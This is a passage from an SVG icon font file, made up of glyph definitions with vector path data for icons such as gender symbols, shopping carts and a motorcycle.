d="M1311 694v-114q0 -24 -13.5 -38t-37.5 -14h-202q-24 0 -38 14t-14 38v114q0 24 14 38t38 14h202q24 0 37.5 -14t13.5 -38zM821 464v250q0 53 -32.5 85.5t-85.5 32.5h-133q-68 0 -96 -52q-28 52 -96 52h-130q-53 0 -85.5 -32.5t-32.5 -85.5v-250q0 -22 21 -22h55
q22 0 22 22v230q0 24 13.5 38t38.5 14h94q24 0 38 -14t14 -38v-230q0 -22 21 -22h54q22 0 22 22v230q0 24 14 38t38 14h97q24 0 37.5 -14t13.5 -38v-230q0 -22 22 -22h55q21 0 21 22zM1410 560v154q0 53 -33 85.5t-86 32.5h-264q-53 0 -86 -32.5t-33 -85.5v-410
q0 -21 22 -21h55q21 0 21 21v180q31 -42 94 -42h191q53 0 86 32.5t33 85.5zM1536 1176v-1072q0 -96 -68 -164t-164 -68h-1072q-96 0 -164 68t-68 164v1072q0 96 68 164t164 68h1072q96 0 164 -68t68 -164z" />
    <glyph glyph-name="_493" unicode="&#xf20d;" 
d="M915 450h-294l147 551zM1001 128h311l-324 1024h-440l-324 -1024h311l383 314zM1536 1120v-960q0 -118 -85 -203t-203 -85h-960q-118 0 -203 85t-85 203v960q0 118 85 203t203 85h960q118 0 203 -85t85 -203z" />
    <glyph glyph-name="_494" unicode="&#xf20e;" horiz-adv-x="2048" 
d="M2048 641q0 -21 -13 -36.5t-33 -19.5l-205 -356q3 -9 3 -18q0 -20 -12.5 -35.5t-32.5 -19.5l-193 -337q3 -8 3 -16q0 -23 -16.5 -40t-40.5 -17q-25 0 -41 18h-400q-17 -20 -43 -20t-43 20h-399q-17 -20 -43 -20q-23 0 -40 16.5t-17 40.5q0 8 4 20l-193 335
q-20 4 -32.5 19.5t-12.5 35.5q0 9 3 18l-206 356q-20 5 -32.5 20.5t-12.5 35.5q0 21 13.5 36.5t33.5 19.5l199 344q0 1 -0.5 3t-0.5 3q0 36 34 51l209 363q-4 10 -4 18q0 24 17 40.5t40 16.5q26 0 44 -21h396q16 21 43 21t43 -21h398q18 21 44 21q23 0 40 -16.5t17 -40.5
q0 -6 -4 -18l207 -358q23 -1 39 -17.5t16 -38.5q0 -13 -7 -27l187 -324q19 -4 31.5 -19.5t12.5 -35.5zM1063 -158h389l-342 354h-143l-342 -354h360q18 16 39 16t39 -16zM112 654q1 -4 1 -13q0 -10 -2 -15l208 -360l15 -6l188 199v347l-187 194q-13 -8 -29 -10zM986 1438
h-388l190 -200l554 200h-280q-16 -16 -38 -16t-38 16zM1689 226q1 6 5 11l-64 68l-17 -79h76zM1583 226l22 105l-252 266l-296 -307l63 -64h463zM1495 -142l16 28l65 310h-427l333 -343q8 4 13 5zM578 -158h5l342 354h-373v-335l4 -6q14 -5 22 -13zM552 226h402l64 66
l-309 321l-157 -166v-221zM359 226h163v189l-168 -177q4 -8 5 -12zM358 1051q0 -1 0.5 -2t0.5 -2q0 -16 -8 -29l171 -177v269zM552 1121v-311l153 -157l297 314l-223 236zM556 1425l-4 -8v-264l205 74l-191 201q-6 -2 -10 -3zM1447 1438h-16l-621 -224l213 -225zM1023 946
l-297 -315l311 -319l296 307zM688 634l-136 141v-284zM1038 270l-42 -44h85zM1374 618l238 -251l132 624l-3 5l-1 1zM1718 1018q-8 13 -8 29v2l-216 376q-5 1 -13 5l-437 -463l310 -327zM522 1142v223l-163 -282zM522 196h-163l163 -283v283zM1607 196l-48 -227l130 227h-82
zM1729 266l207 361q-2 10 -2 14q0 1 3 16l-171 296l-129 -612l77 -82q5 3 15 7z" />
    <glyph glyph-name="f210" unicode="&#xf210;" 
d="M0 856q0 131 91.5 226.5t222.5 95.5h742l352 358v-1470q0 -132 -91.5 -227t-222.5 -95h-780q-131 0 -222.5 95t-91.5 227v790zM1232 102l-176 180v425q0 46 -32 79t-78 33h-484q-46 0 -78 -33t-32 -79v-492q0 -46 32.5 -79.5t77.5 -33.5h770z" />
    <glyph glyph-name="_496" unicode="&#xf211;" 
d="M934 1386q-317 -121 -556 -362.5t-358 -560.5q-20 89 -20 176q0 208 102.5 384.5t278.5 279t384 102.5q82 0 169 -19zM1203 1267q93 -65 164 -155q-389 -113 -674.5 -400.5t-396.5 -676.5q-93 72 -155 162q112 386 395 671t667 399zM470 -67q115 356 379.5 622t619.5 384
q40 -92 54 -195q-292 -120 -516 -345t-343 -518q-103 14 -194 52zM1536 -125q-193 50 -367 115q-135 -84 -290 -107q109 205 274 370.5t369 275.5q-21 -152 -101 -284q65 -175 115 -370z" />
    <glyph glyph-name="f212" unicode="&#xf212;" horiz-adv-x="2048" 
d="M1893 1144l155 -1272q-131 0 -257 57q-200 91 -393 91q-226 0 -374 -148q-148 148 -374 148q-193 0 -393 -91q-128 -57 -252 -57h-5l155 1272q224 127 482 127q233 0 387 -106q154 106 387 106q258 0 482 -127zM1398 157q129 0 232 -28.5t260 -93.5l-124 1021
q-171 78 -368 78q-224 0 -374 -141q-150 141 -374 141q-197 0 -368 -78l-124 -1021q105 43 165.5 65t148.5 39.5t178 17.5q202 0 374 -108q172 108 374 108zM1438 191l-55 907q-211 -4 -359 -155q-152 155 -374 155q-176 0 -336 -66l-114 -941q124 51 228.5 76t221.5 25
q209 0 374 -102q172 107 374 102z" />
    <glyph glyph-name="_498" unicode="&#xf213;" horiz-adv-x="2048" 
d="M1500 165v733q0 21 -15 36t-35 15h-93q-20 0 -35 -15t-15 -36v-733q0 -20 15 -35t35 -15h93q20 0 35 15t15 35zM1216 165v531q0 20 -15 35t-35 15h-101q-20 0 -35 -15t-15 -35v-531q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM924 165v429q0 20 -15 35t-35 15h-101
q-20 0 -35 -15t-15 -35v-429q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM632 165v362q0 20 -15 35t-35 15h-101q-20 0 -35 -15t-15 -35v-362q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM2048 311q0 -166 -118 -284t-284 -118h-1244q-166 0 -284 118t-118 284
q0 116 63 214.5t168 148.5q-10 34 -10 73q0 113 80.5 193.5t193.5 80.5q102 0 180 -67q45 183 194 300t338 117q149 0 275 -73.5t199.5 -199.5t73.5 -275q0 -66 -14 -122q135 -33 221 -142.5t86 -247.5z" />
    <glyph glyph-name="_499" unicode="&#xf214;" 
d="M0 1536h1536v-1392l-776 -338l-760 338v1392zM1436 209v926h-1336v-926l661 -294zM1436 1235v201h-1336v-201h1336zM181 937v-115h-37v115h37zM181 789v-115h-37v115h37zM181 641v-115h-37v115h37zM181 493v-115h-37v115h37zM181 345v-115h-37v115h37zM207 202l15 34
l105 -47l-15 -33zM343 142l15 34l105 -46l-15 -34zM478 82l15 34l105 -46l-15 -34zM614 23l15 33l104 -46l-15 -34zM797 10l105 46l15 -33l-105 -47zM932 70l105 46l15 -34l-105 -46zM1068 130l105 46l15 -34l-105 -46zM1203 189l105 47l15 -34l-105 -46zM259 1389v-36h-114
v36h114zM421 1389v-36h-115v36h115zM583 1389v-36h-115v36h115zM744 1389v-36h-114v36h114zM906 1389v-36h-114v36h114zM1068 1389v-36h-115v36h115zM1230 1389v-36h-115v36h115zM1391 1389v-36h-114v36h114zM181 1049v-79h-37v115h115v-36h-78zM421 1085v-36h-115v36h115z
M583 1085v-36h-115v36h115zM744 1085v-36h-114v36h114zM906 1085v-36h-114v36h114zM1068 1085v-36h-115v36h115zM1230 1085v-36h-115v36h115zM1355 970v79h-78v36h115v-115h-37zM1355 822v115h37v-115h-37zM1355 674v115h37v-115h-37zM1355 526v115h37v-115h-37zM1355 378
v115h37v-115h-37zM1355 230v115h37v-115h-37zM760 265q-129 0 -221 91.5t-92 221.5q0 129 92 221t221 92q130 0 221.5 -92t91.5 -221q0 -130 -91.5 -221.5t-221.5 -91.5zM595 646q0 -36 19.5 -56.5t49.5 -25t64 -7t64 -2t49.5 -9t19.5 -30.5q0 -49 -112 -49q-97 0 -123 51
h-3l-31 -63q67 -42 162 -42q29 0 56.5 5t55.5 16t45.5 33t17.5 53q0 46 -27.5 69.5t-67.5 27t-79.5 3t-67 5t-27.5 25.5q0 21 20.5 33t40.5 15t41 3q34 0 70.5 -11t51.5 -34h3l30 58q-3 1 -21 8.5t-22.5 9t-19.5 7t-22 7t-20 4.5t-24 4t-23 1q-29 0 -56.5 -5t-54 -16.5
t-43 -34t-16.5 -53.5z" />
    <glyph glyph-name="_500" unicode="&#xf215;" horiz-adv-x="2048" 
d="M863 504q0 112 -79.5 191.5t-191.5 79.5t-191 -79.5t-79 -191.5t79 -191t191 -79t191.5 79t79.5 191zM1726 505q0 112 -79 191t-191 79t-191.5 -79t-79.5 -191q0 -113 79.5 -192t191.5 -79t191 79.5t79 191.5zM2048 1314v-1348q0 -44 -31.5 -75.5t-76.5 -31.5h-1832
q-45 0 -76.5 31.5t-31.5 75.5v1348q0 44 31.5 75.5t76.5 31.5h431q44 0 76 -31.5t32 -75.5v-161h754v161q0 44 32 75.5t76 31.5h431q45 0 76.5 -31.5t31.5 -75.5z" />
    <glyph glyph-name="_501" unicode="&#xf216;" horiz-adv-x="2048" 
d="M1430 953zM1690 749q148 0 253 -98.5t105 -244.5q0 -157 -109 -261.5t-267 -104.5q-85 0 -162 27.5t-138 73.5t-118 106t-109 126t-103.5 132.5t-108.5 126.5t-117 106t-136 73.5t-159 27.5q-154 0 -251.5 -91.5t-97.5 -244.5q0 -157 104 -250t263 -93q100 0 208 37.5
t193 98.5q5 4 21 18.5t30 24t22 9.5q14 0 24.5 -10.5t10.5 -24.5q0 -24 -60 -77q-101 -88 -234.5 -142t-260.5 -54q-133 0 -245.5 58t-180 165t-67.5 241q0 205 141.5 341t347.5 136q120 0 226.5 -43.5t185.5 -113t151.5 -153t139 -167.5t133.5 -153.5t149.5 -113
t172.5 -43.5q102 0 168.5 61.5t66.5 162.5q0 95 -64.5 159t-159.5 64q-30 0 -81.5 -18.5t-68.5 -18.5q-20 0 -35.5 15t-15.5 35q0 18 8.5 57t8.5 59q0 159 -107.5 263t-266.5 104q-58 0 -111.5 -18.5t-84 -40.5t-55.5 -40.5t-33 -18.5q-15 0 -25.5 10.5t-10.5 25.5
q0 19 25 46q59 67 147 103.5t182 36.5q191 0 318 -125.5t127 -315.5q0 -37 -4 -66q57 15 115 15z" />
    <glyph glyph-name="_502" unicode="&#xf217;" horiz-adv-x="1664" 
d="M1216 832q0 26 -19 45t-45 19h-128v128q0 26 -19 45t-45 19t-45 -19t-19 -45v-128h-128q-26 0 -45 -19t-19 -45t19 -45t45 -19h128v-128q0 -26 19 -45t45 -19t45 19t19 45v128h128q26 0 45 19t19 45zM640 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5
t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1536 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1664 1088v-512q0 -24 -16 -42.5t-41 -21.5l-1044 -122q1 -7 4.5 -21.5t6 -26.5t2.5 -22q0 -16 -24 -64h920
q26 0 45 -19t19 -45t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 14 11 39.5t29.5 59.5t20.5 38l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t20 -15.5t13 -24.5t7.5 -26.5t5.5 -29.5t4.5 -25.5h1201q26 0 45 -19t19 -45z" />
    <glyph glyph-name="_503" unicode="&#xf218;" horiz-adv-x="1664" 
d="M1280 832q0 26 -19 45t-45 19t-45 -19l-147 -146v293q0 26 -19 45t-45 19t-45 -19t-19 -45v-293l-147 146q-19 19 -45 19t-45 -19t-19 -45t19 -45l256 -256q19 -19 45 -19t45 19l256 256q19 19 19 45zM640 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5
t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1536 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1664 1088v-512q0 -24 -16 -42.5t-41 -21.5l-1044 -122q1 -7 4.5 -21.5t6 -26.5t2.5 -22q0 -16 -24 -64h920
q26 0 45 -19t19 -45t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 14 11 39.5t29.5 59.5t20.5 38l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t20 -15.5t13 -24.5t7.5 -26.5t5.5 -29.5t4.5 -25.5h1201q26 0 45 -19t19 -45z" />
    <glyph glyph-name="_504" unicode="&#xf219;" horiz-adv-x="2048" 
d="M212 768l623 -665l-300 665h-323zM1024 -4l349 772h-698zM538 896l204 384h-262l-288 -384h346zM1213 103l623 665h-323zM683 896h682l-204 384h-274zM1510 896h346l-288 384h-262zM1651 1382l384 -512q14 -18 13 -41.5t-17 -40.5l-960 -1024q-18 -20 -47 -20t-47 20
l-960 1024q-16 17 -17 40.5t13 41.5l384 512q18 26 51 26h1152q33 0 51 -26z" />
    <glyph glyph-name="_505" unicode="&#xf21a;" horiz-adv-x="2048" 
d="M1811 -19q19 19 45 19t45 -19l128 -128l-90 -90l-83 83l-83 -83q-18 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83
q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-128 128l90 90l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83
q19 19 45 19t45 -19l83 -83zM237 19q-19 -19 -45 -19t-45 19l-128 128l90 90l83 -82l83 82q19 19 45 19t45 -19l83 -82l64 64v293l-210 314q-17 26 -7 56.5t40 40.5l177 58v299h128v128h256v128h256v-128h256v-128h128v-299l177 -58q30 -10 40 -40.5t-7 -56.5l-210 -314
v-293l19 18q19 19 45 19t45 -19l83 -82l83 82q19 19 45 19t45 -19l128 -128l-90 -90l-83 83l-83 -83q-18 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83
q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83zM640 1152v-128l384 128l384 -128v128h-128v128h-512v-128h-128z" />
    <glyph glyph-name="_506" unicode="&#xf21b;" 
d="M576 0l96 448l-96 128l-128 64zM832 0l128 640l-128 -64l-96 -128zM992 1010q-2 4 -4 6q-10 8 -96 8q-70 0 -167 -19q-7 -2 -21 -2t-21 2q-97 19 -167 19q-86 0 -96 -8q-2 -2 -4 -6q2 -18 4 -27q2 -3 7.5 -6.5t7.5 -10.5q2 -4 7.5 -20.5t7 -20.5t7.5 -17t8.5 -17t9 -14
t12 -13.5t14 -9.5t17.5 -8t20.5 -4t24.5 -2q36 0 59 12.5t32.5 30t14.5 34.5t11.5 29.5t17.5 12.5h12q11 0 17.5 -12.5t11.5 -29.5t14.5 -34.5t32.5 -30t59 -12.5q13 0 24.5 2t20.5 4t17.5 8t14 9.5t12 13.5t9 14t8.5 17t7.5 17t7 20.5t7.5 20.5q2 7 7.5 10.5t7.5 6.5
q2 9 4 27zM1408 131q0 -121 -73 -190t-194 -69h-874q-121 0 -194 69t-73 190q0 61 4.5 118t19 125.5t37.5 123.5t63.5 103.5t93.5 74.5l-90 220h214q-22 64 -22 128q0 12 2 32q-194 40 -194 96q0 57 210 99q17 62 51.5 134t70.5 114q32 37 76 37q30 0 84 -31t84 -31t84 31
t84 31q44 0 76 -37q36 -42 70.5 -114t51.5 -134q210 -42 210 -99q0 -56 -194 -96q7 -81 -20 -160h214l-82 -225q63 -33 107.5 -96.5t65.5 -143.5t29 -151.5t8 -148.5z" />
    <glyph glyph-name="_507" unicode="&#xf21c;" horiz-adv-x="2304" 
d="M2301 500q12 -103 -22 -198.5t-99 -163.5t-158.5 -106t-196.5 -31q-161 11 -279.5 125t-134.5 274q-12 111 27.5 210.5t118.5 170.5l-71 107q-96 -80 -151 -194t-55 -244q0 -27 -18.5 -46.5t-45.5 -19.5h-256h-69q-23 -164 -149 -274t-294 -110q-185 0 -316.5 131.5
t-131.5 316.5t131.5 316.5t316.5 131.5q76 0 152 -27l24 45q-123 110 -304 110h-64q-26 0 -45 19t-19 45t19 45t45 19h128q78 0 145 -13.5t116.5 -38.5t71.5 -39.5t51 -36.5h512h115l-85 128h-222q-30 0 -49 22.5t-14 52.5q4 23 23 38t43 15h253q33 0 53 -28l70 -105
l114 114q19 19 46 19h101q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-179l115 -172q131 63 275 36q143 -26 244 -134.5t118 -253.5zM448 128q115 0 203 72.5t111 183.5h-314q-35 0 -55 31q-18 32 -1 63l147 277q-47 13 -91 13q-132 0 -226 -94t-94 -226t94 -226
t226 -94zM1856 128q132 0 226 94t94 226t-94 226t-226 94q-60 0 -121 -24l174 -260q15 -23 10 -49t-27 -40q-15 -11 -36 -11q-35 0 -53 29l-174 260q-93 -95 -93 -225q0 -132 94 -226t226 -94z" />
    <glyph glyph-name="_508" unicode="&#xf21d;" 
d="M1408 0q0 -63 -61.5 -113.5t-164 -81t-225 -46t-253.5 -15.5t-253.5 15.5t-225 46t-164 81t-61.5 113.5q0 49 33 88.5t91 66.5t118 44.5t131 29.5q26 5 48 -10.5t26 -41.5q5 -26 -10.5 -48t-41.5 -26q-58 -10 -106 -23.5t-76.5 -25.5t-48.5 -23.5t-27.5 -19.5t-8.5 -12
q3 -11 27 -26.5t73 -33t114 -32.5t160.5 -25t201.5 -10t201.5 10t160.5 25t114 33t73 33.5t27 27.5q-1 4 -8.5 11t-27.5 19t-48.5 23.5t-76.5 25t-106 23.5q-26 4 -41.5 26t-10.5 48q4 26 26 41.5t48 10.5q71 -12 131 -29.5t118 -44.5t91 -66.5t33 -88.5zM1024 896v-384
q0 -26 -19 -45t-45 -19h-64v-384q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v384h-64q-26 0 -45 19t-19 45v384q0 53 37.5 90.5t90.5 37.5h384q53 0 90.5 -37.5t37.5 -90.5zM928 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5
t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="_509" unicode="&#xf21e;" horiz-adv-x="1792" 
d="M1280 512h305q-5 -6 -10 -10.5t-9 -7.5l-3 -4l-623 -600q-18 -18 -44 -18t-44 18l-624 602q-5 2 -21 20h369q22 0 39.5 13.5t22.5 34.5l70 281l190 -667q6 -20 23 -33t39 -13q21 0 38 13t23 33l146 485l56 -112q18 -35 57 -35zM1792 940q0 -145 -103 -300h-369l-111 221
q-8 17 -25.5 27t-36.5 8q-45 -5 -56 -46l-129 -430l-196 686q-6 20 -23.5 33t-39.5 13t-39 -13.5t-22 -34.5l-116 -464h-423q-103 155 -103 300q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5q224 0 351 -124
t127 -344z" />
    <glyph glyph-name="venus" unicode="&#xf221;" horiz-adv-x="1280" 
d="M1152 960q0 -221 -147.5 -384.5t-364.5 -187.5v-260h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v260q-150 16 -271.5 103t-186 224t-52.5 292
q11 134 80.5 249t182 188t245.5 88q170 19 319 -54t236 -212t87 -306zM128 960q0 -185 131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5z" />
    <glyph glyph-name="_511" unicode="&#xf222;" 
d="M1472 1408q26 0 45 -19t19 -45v-416q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v262l-382 -383q126 -156 126 -359q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123t223.5 45.5
q203 0 359 -126l382 382h-261q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h416zM576 0q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_512" unicode="&#xf223;" horiz-adv-x="1280" 
d="M830 1220q145 -72 233.5 -210.5t88.5 -305.5q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-217 24 -364.5 187.5
t-147.5 384.5q0 167 88.5 305.5t233.5 210.5q-165 96 -228 273q-6 16 3.5 29.5t26.5 13.5h69q21 0 29 -20q44 -106 140 -171t214 -65t214 65t140 171q8 20 37 20h61q17 0 26.5 -13.5t3.5 -29.5q-63 -177 -228 -273zM576 256q185 0 316.5 131.5t131.5 316.5t-131.5 316.5
t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_513" unicode="&#xf224;" 
d="M1024 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q126 -158 126 -359q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64
q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-149 16 -270.5 103t-186.5 223.5t-53 291.5q16 204 160 353.5t347 172.5q118 14 228 -19t198 -103l255 254h-134q-14 0 -23 9t-9 23v64zM576 256q185 0 316.5 131.5t131.5 316.5t-131.5 316.5
t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_514" unicode="&#xf225;" horiz-adv-x="1792" 
d="M1280 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q126 -158 126 -359q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64
q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-217 24 -364.5 187.5t-147.5 384.5q0 201 126 359l-52 53l-101 -111q-9 -10 -22 -10.5t-23 7.5l-48 44q-10 8 -10.5 21.5t8.5 23.5l105 115l-111 112v-134q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9
t-9 23v288q0 26 19 45t45 19h288q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-133l106 -107l86 94q9 10 22 10.5t23 -7.5l48 -44q10 -8 10.5 -21.5t-8.5 -23.5l-90 -99l57 -56q158 126 359 126t359 -126l255 254h-134q-14 0 -23 9t-9 23v64zM832 256q185 0 316.5 131.5
t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_515" unicode="&#xf226;" horiz-adv-x="1792" 
d="M1790 1007q12 -155 -52.5 -292t-186 -224t-271.5 -103v-260h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-512v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23
t23 9h224v260q-150 16 -271.5 103t-186 224t-52.5 292q17 206 164.5 356.5t352.5 169.5q206 21 377 -94q171 115 377 94q205 -19 352.5 -169.5t164.5 -356.5zM896 647q128 131 128 313t-128 313q-128 -131 -128 -313t128 -313zM576 512q115 0 218 57q-154 165 -154 391
q0 224 154 391q-103 57 -218 57q-185 0 -316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5zM1152 128v260q-137 15 -256 94q-119 -79 -256 -94v-260h512zM1216 512q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5q-115 0 -218 -57q154 -167 154 -391
q0 -226 -154 -391q103 -57 218 -57z" />
    <glyph glyph-name="_516" unicode="&#xf227;" horiz-adv-x="1920" 
d="M1536 1120q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q76 -95 107.5 -214t9.5 -247q-31 -182 -166 -312t-318 -156q-210 -29 -384.5 80t-241.5 300q-117 6 -221 57.5t-177.5 133t-113.5 192.5t-32 230
q9 135 78 252t182 191.5t248 89.5q118 14 227.5 -19t198.5 -103l255 254h-134q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q59 -74 93 -169q182 -9 328 -124l255 254h-134q-14 0 -23 9
t-9 23v64zM1024 704q0 20 -4 58q-162 -25 -271 -150t-109 -292q0 -20 4 -58q162 25 271 150t109 292zM128 704q0 -168 111 -294t276 -149q-3 29 -3 59q0 210 135 369.5t338 196.5q-53 120 -163.5 193t-245.5 73q-185 0 -316.5 -131.5t-131.5 -316.5zM1088 -128
q185 0 316.5 131.5t131.5 316.5q0 168 -111 294t-276 149q3 -28 3 -59q0 -210 -135 -369.5t-338 -196.5q53 -120 163.5 -193t245.5 -73z" />
    <glyph glyph-name="_517" unicode="&#xf228;" horiz-adv-x="2048" 
d="M1664 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q76 -95 107.5 -214t9.5 -247q-32 -180 -164.5 -310t-313.5 -157q-223 -34 -409 90q-117 -78 -256 -93v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23
t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-155 17 -279.5 109.5t-187 237.5t-39.5 307q25 187 159.5 322.5t320.5 164.5q224 34 410 -90q146 97 320 97q201 0 359 -126l255 254h-134q-14 0 -23 9
t-9 23v64zM896 391q128 131 128 313t-128 313q-128 -131 -128 -313t128 -313zM128 704q0 -185 131.5 -316.5t316.5 -131.5q117 0 218 57q-154 167 -154 391t154 391q-101 57 -218 57q-185 0 -316.5 -131.5t-131.5 -316.5zM1216 256q185 0 316.5 131.5t131.5 316.5
t-131.5 316.5t-316.5 131.5q-117 0 -218 -57q154 -167 154 -391t-154 -391q101 -57 218 -57z" />
    <glyph glyph-name="_518" unicode="&#xf229;" 
d="M1472 1408q26 0 45 -19t19 -45v-416q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v262l-213 -214l140 -140q9 -10 9 -23t-9 -22l-46 -46q-9 -9 -22 -9t-23 9l-140 141l-78 -79q126 -156 126 -359q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5
t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123t223.5 45.5q203 0 359 -126l78 78l-172 172q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l172 -172l213 213h-261q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h416zM576 0q185 0 316.5 131.5t131.5 316.5t-131.5 316.5
t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_519" unicode="&#xf22a;" horiz-adv-x="1280" 
d="M640 892q217 -24 364.5 -187.5t147.5 -384.5q0 -167 -87 -306t-236 -212t-319 -54q-133 15 -245.5 88t-182 188t-80.5 249q-12 155 52.5 292t186 224t271.5 103v132h-160q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h160v165l-92 -92q-10 -9 -23 -9t-22 9l-46 46q-9 9 -9 22
t9 23l202 201q19 19 45 19t45 -19l202 -201q9 -10 9 -23t-9 -22l-46 -46q-9 -9 -22 -9t-23 9l-92 92v-165h160q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-160v-132zM576 -128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5
t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_520" unicode="&#xf22b;" horiz-adv-x="2048" 
d="M1901 621q19 -19 19 -45t-19 -45l-294 -294q-9 -10 -22.5 -10t-22.5 10l-45 45q-10 9 -10 22.5t10 22.5l185 185h-294v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-132q-24 -217 -187.5 -364.5t-384.5 -147.5q-167 0 -306 87t-212 236t-54 319q15 133 88 245.5
